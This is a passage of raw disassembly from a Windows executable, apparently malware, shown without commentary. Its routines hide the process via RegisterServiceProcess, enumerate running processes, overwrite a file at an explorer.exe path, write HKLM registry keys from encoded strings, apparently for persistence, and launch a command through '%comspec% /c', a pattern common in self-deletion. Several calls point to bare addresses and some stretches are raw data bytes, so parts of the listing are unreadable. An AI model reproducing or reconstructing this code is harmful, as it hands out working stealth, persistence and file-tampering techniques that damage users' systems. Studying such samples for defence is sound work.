ecx, eax mov byte ptr [esp+288h+var_4], 3 call sub_4012EE test eax, eax lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl setz [esp+284h+var_279] call sub_401226 cmp [esp+284h+var_279], bl jz short loc_40CE0B mov ecx, [esp+284h+var_221] lea edx, [esp+284h+var_278] push ecx push edx lea ecx, [esp+28Ch+var_232] call sub_401E47 push offset dword_448F44 mov ecx, eax mov byte ptr [esp+288h+var_4], 4 call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 loc_40CE0B: ; CODE XREF: sub_40CC90+142j push ebx lea ecx, [esp+288h+var_232] call sub_4014DD push eax lea ecx, [esp+28Ch+var_247] call sub_4014DD push eax mov eax, [esp+290h+var_219] push eax lea ecx, [esp+294h+var_25C] call sub_40168B mov ecx, [esp+294h+var_260] push eax push ecx call sub_40227A push eax lea edx, [esp+2A0h+var_20C] push offset aFilesFoundD ; "Files Found: %d" push edx call near ptr word_5F67AE nop mov eax, [esp+2A4h+var_211] add esp, 24h cmp eax, ebx jnz short loc_40CE7C mov eax, [esp+280h+var_215] lea ecx, [esp+280h+var_208] push eax push ecx lea ecx, [esp+288h+var_258] call sub_40168B mov edx, [esp+288h+var_25C] push eax push edx call sub_40152D add esp, 10h loc_40CE7C: ; CODE XREF: sub_40CC90+1C9j mov eax, [esp+280h+var_219] push eax call sub_401E3D add esp, 4 push ebx call near ptr 2840000h nop pop ebx loc_40CE91: ; CODE XREF: sub_40CC90+36j mov ecx, [esp+280h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 27Ch retn 4 sub_40CC90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CF40 proc near ; CODE XREF: sub_40199Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CF40 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_40CF40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CFC0: ; CODE XREF: ___:loc_40228Ej push 0FFFFFFFFh push offset loc_43A086 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+2Eh] mov dword ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+10h], 0 call sub_401226 lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40D040 proc near ; CODE XREF: sub_40227Aj var_548 = byte ptr -548h var_51C = byte ptr -51Ch var_51B = byte ptr -51Bh var_408 = byte ptr -408h var_304 = byte ptr -304h var_200 = byte ptr -200h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h sub esp, 548h lea eax, [esp+548h+var_408] push ebx push ebp push esi mov esi, [esp+554h+arg_10] push edi mov edi, dword_511AE4 push esi push offset aS_1 ; "%s\\*" push 104h push eax call edi add esp, 10h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx call near ptr 2880000h nop mov ebp, [esp+558h+arg_14] mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D107 loc_40D090: ; CODE XREF: sub_40D040+C5j test [esp+558h+var_548], 10h jz short loc_40D0F7 cmp [esp+558h+var_51C], 2Eh jnz short loc_40D0AA mov al, [esp+558h+var_51B] test al, al jz short loc_40D0F7 cmp al, 2Eh jz short loc_40D0F7 loc_40D0AA: ; CODE XREF: sub_40D040+5Cj lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_304] push eax push esi push offset dword_444684 push 104h push ecx call edi mov eax, [esp+56Ch+arg_C] mov ecx, [esp+56Ch+arg_8] lea edx, [esp+56Ch+var_304] push ebp push edx mov edx, [esp+574h+arg_4] push eax mov eax, [esp+578h+arg_0] push ecx push edx push eax call sub_40227A add esp, 2Ch mov ebp, eax loc_40D0F7: ; CODE XREF: sub_40D040+55j ; sub_40D040+64j ... lea ecx, [esp+558h+var_548] push ecx push ebx call near ptr 2870000h nop test eax, eax jnz short loc_40D090 loc_40D107: ; CODE XREF: sub_40D040+4Ej push ebx call near ptr 286068Dh nop mov edx, [esp+558h+arg_C] lea eax, [esp+558h+var_408] push edx push esi push offset dword_444684 push 104h push eax call edi add esp, 14h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx call near ptr 2880000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D19B loc_40D148: ; CODE XREF: sub_40D040+159j lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_200] push eax push esi push offset aFoundSS ; "Found: %s\\%s" push 200h push ecx inc ebp call edi mov edx, [esp+56Ch+arg_8] mov ecx, [esp+56Ch+arg_4] lea eax, [esp+56Ch+var_200] push edx mov edx, [esp+570h+arg_0] push eax push ecx push edx call sub_40152D add esp, 24h lea eax, [esp+558h+var_548] push eax push ebx nop call near ptr 2870000h test eax, eax jnz short loc_40D148 loc_40D19B: ; CODE XREF: sub_40D040+106j push ebx call near ptr 286068Dh nop pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 548h retn sub_40D040 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D210 proc near ; CODE XREF: sub_40104Bj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40D210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+19h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_40D210 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+1Ch] push 1 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+47h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+20h] push 13h push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+75h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+3Ch] push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE add esi, 0A3h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D3C0: ; CODE XREF: ___:004013CFj sub esp, 104h lea eax, [esp+0] push 104h push eax push 0 call near ptr 2890000h nop push eax nop call near ptr 2881331h mov eax, dword_449080 test eax, eax jz loc_40D4E3 mov ecx, dword_44907C test ecx, ecx jz loc_40D4E3 mov ecx, dword_448F48 test ecx, ecx jz loc_40D4E3 push 0 push 2 call eax ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov dword_449078, eax jz loc_40D4E3 push ebp push offset dword_448F50 push eax xor ebp, ebp mov dword_448F50, 128h call dword_44907C ; Process32First test eax, eax jz loc_40D4CC push ebx mov ebx, [esp+110h] push esi mov esi, dword_511AE0 push edi loc_40D44D: ; CODE XREF: ___:0040D4C7j mov edi, offset dword_448F74 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+10h] repne scasb not ecx dec ecx mov edi, offset dword_448F74 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+14h] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push offset dword_448F74 add edx, ecx push edx call esi add esp, 0Ch test eax, eax jz short loc_40D4B3 mov edi, offset dword_448F74 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push offset dword_448F74 mov ecx, ebx call sub_40168B push eax call esi add esp, 0Ch test eax, eax jnz short loc_40D4B4 loc_40D4B3: ; CODE XREF: ___:0040D48Bj inc ebp loc_40D4B4: ; CODE XREF: ___:0040D4B1j mov eax, dword_449078 push offset dword_448F50 push eax call dword_448F48 ; Process32Next test eax, eax jnz short loc_40D44D pop edi pop esi pop ebx loc_40D4CC: ; CODE XREF: ___:0040D437j mov ecx, dword_449078 push ecx call near ptr 284070Bh nop mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_40D4E3: ; CODE XREF: ___:0040D3E6j ; ___:0040D3F4j ... xor eax, eax add esp, 104h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D540: ; CODE XREF: ___:00401FAFj sub esp, 11Ch lea eax, [esp+18h] push ebx push esi push edi push 104h push eax nop call near ptr 2890DDDh mov edi, offset aExplorer_exe ; "\\explorer.exe" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+24h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 80h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, dword_5118F0 lea eax, [esp+38h] push 80000000h push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D606 lea ecx, [esp+1Ch] lea edx, [esp+0Ch] push ecx lea eax, [esp+18h] push edx push eax push esi call near ptr 289095Eh nop mov ebx, dword_5118E0 push esi call ebx mov ecx, [esp+12Ch] push 0 push 80h push 3 push 0 push 2 push 40000000h push ecx call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D606 lea edx, [esp+1Ch] lea eax, [esp+0Ch] push edx lea ecx, [esp+18h] push eax push ecx push esi call near ptr 2890195h nop push esi call ebx loc_40D606: ; CODE XREF: ___:0040D5A9j ; ___:0040D5EBj pop edi pop esi pop ebx add esp, 11Ch retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D660 proc near ; CODE XREF: sub_401B6Dj var_19C = byte ptr -19Ch var_184 = byte ptr -184h var_16C = byte ptr -16Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40D660 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_40142E push 104h push 104h lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_401C71 push eax nop call near ptr 27F0000h lea ecx, [esp+1A8h+var_16C] call sub_4017EE push eax lea ecx, [esi+4] call sub_4015E1 lea ecx, [esp+1A8h+var_184] call sub_40142E mov ebx, 1 push 104h push 104h lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_4], bl call sub_401C71 push eax push 0 nop call near ptr 2890000h push eax nop call near ptr 2881331h push offset aKernel32_dll_0 ; "kernel32.dll" nop call near ptr 27E09C7h mov esi, eax test esi, esi jz short loc_40D751 mov edi, dword_511918 push offset aRegisterservic ; "RegisterServiceProcess" push esi call edi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push esi mov dword_449084, eax call edi push offset aProcess32first ; "Process32First" push esi mov dword_449080, eax call edi push offset aProcess32next ; "Process32Next" push esi mov dword_44907C, eax call edi mov dword_448F48, eax mov eax, dword_449084 test eax, eax jz short loc_40D751 push ebx push 0 call eax loc_40D751: ; CODE XREF: sub_40D660+A7j ; sub_40D660+EAj mov esi, [esp+1A8h+arg_0] push 0 mov ecx, esi call sub_4017EE push eax lea ecx, [esp+1B0h+var_184] call sub_402135 test eax, eax jnz short loc_40D788 mov al, byte_44916F test al, al jz short loc_40D788 mov ecx, esi call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 loc_40D788: ; CODE XREF: sub_40D660+10Dj ; sub_40D660+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D8h+var_19C] push 17h push eax call sub_4019C4 add esp, 38h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 2 call sub_4017EE push eax call sub_401604 sub_40D660 endp ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+38h] push 4 push ecx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 3 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+30h] push 14h push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov byte ptr [esp+1A4h], 4 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+38h] push 0Dh push eax call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 5 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+38h] push 10h push ecx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 6 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+38h] push 0Dh push edx call sub_4019C4 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 7 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h dd 8D50FFFFh, 0A8248Ch, 20680000h, 5100444Bh, 8E1CE890h dd 3D8B001Eh, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h dd 424313E8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CA3h dd 85D6FF50h, 0A0D074C0h, 4497CBh, 74C0845Dh, 0D8358B39h dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B18h, 83D6FF51h dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3DCAh, 9C24948Dh dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah dd 447C24h, 0EFE80000h, 90023E29h, 874C085h, 0E890006Ah dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1, 0FF3795E8h, 244C8DFFh dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3781E8h, 248C8BFFh dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0 ; --------------------------------------------------------------------------- add esp, 19Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DBF0 proc near ; CODE XREF: sub_401195j mov al, byte_449171 test al, al jz short loc_40DC04 push offset word_449172 call near ptr 27E0D2Bh nop loc_40DC04: ; CODE XREF: sub_40DBF0+7j mov al, 1 retn sub_40DBF0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DC20 proc near ; CODE XREF: sub_401E79j var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40DC20 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 104h push eax push 0 nop call near ptr 2890000h push eax call near ptr 2881331h nop lea ecx, [esp+6D4h+var_318] push ecx push 104h nop call near ptr 27D0000h push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_4019C4 add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_4017EE push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push offset dword_444684 push ecx call near ptr word_5F67AE nop add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_401226 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx call near ptr 286033Ah nop mov esi, eax test esi, esi jbe loc_40E178 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_40142E push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_4019C4 mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+720h+var_634] push 4 push ecx mov byte ptr [esp+728h+var_4], 2 call sub_4019C4 add esp, 48h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_4019C4 mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+72Ch+var_67C] push 4 push eax mov byte ptr [esp+734h+var_4], 4 call sub_4019C4 add esp, 54h mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_4019C4 mov [esp+6FCh+var_6C8], eax mov byte ptr [esp+6FCh+var_4], 6 push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+724h+var_5D4] push 7 push edx call sub_4019C4 add esp, 4Ch mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_4019C4 mov [esp+710h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+744h+var_58C] push 4 push ecx mov byte ptr [esp+74Ch+var_4], 8 call sub_4019C4 add esp, 6Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 push 18h push 5 push 4Eh push 14h mov byte ptr [esp+744h+var_4], 9 push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_4019C4 mov [esp+75Ch+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+774h+var_5BC] push 53h push eax mov byte ptr [esp+77Ch+var_4], 0Ah call sub_4019C4 add esp, 9Ch mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_4019C4 add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax mov ecx, ebx call sub_4017EE mov ecx, [esp+6E8h+var_6B4] push eax call sub_4017EE mov ecx, [esp+6ECh+var_6C8] push eax call sub_4017EE mov ecx, [esp+6F0h+var_6B8] push eax call sub_4017EE mov ecx, [esp+6F4h+var_6C0] push eax call sub_4017EE mov ecx, [esp+6F8h+var_6D0] push eax call sub_4017EE mov ecx, [esp+6FCh+var_6CC] push eax call sub_4017EE mov ecx, [esp+700h+var_6C4] push eax call sub_4017EE mov ecx, [esp+704h+var_6BC] push eax call sub_4017EE push eax lea edx, [esp+70Ch+var_6AC] push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n" push edx call sub_40102D add esp, 34h mov byte ptr [esp+6E0h+var_4], 0Bh lea ecx, [esp+6E0h+var_64C] call sub_401226 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_401226 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_401226 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_401226 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_401226 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_401226 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_401226 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_401226 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_401226 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_401226 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_401226 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_4017EE push eax push esi nop call near ptr 27E0000h push esi call near ptr 284070Bh nop mov ecx, 11h xor eax, eax lea edi, [esp+6E0h+var_564] push 104h rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax nop call near ptr 2890000h push eax call near ptr 2881331h nop lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push offset aComspecCSS ; "%%comspec%% /c %s %s" push ecx nop call near ptr word_5F67AE add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 104h push edx push eax call near ptr 2800000h nop lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 push 0 lea eax, [esp+700h+var_110] push eax push 0 call near ptr 27F0462h nop lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_40E178: ; CODE XREF: sub_40DC20+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_40DC20 endp ; --------------------------------------------------------------------------- db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E2F0 proc near ; CODE XREF: sub_401730j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40E2F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_40142E lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_40142E lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_40142E push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019C4 add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019C4 add esp, 0DCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 4 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019C4 add esp, 0BCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 5 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE mov ebp, dword_51175C push eax push 80000002h call ebp mov esi, [esp+80h+arg_4] mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2950000h mov edx, [esp+80h+var_70] push edx call near ptr 2910000h nop push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 0F003Fh push 0 push 0 push 0 call sub_4017EE push eax push 80000002h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2950000h mov edx, 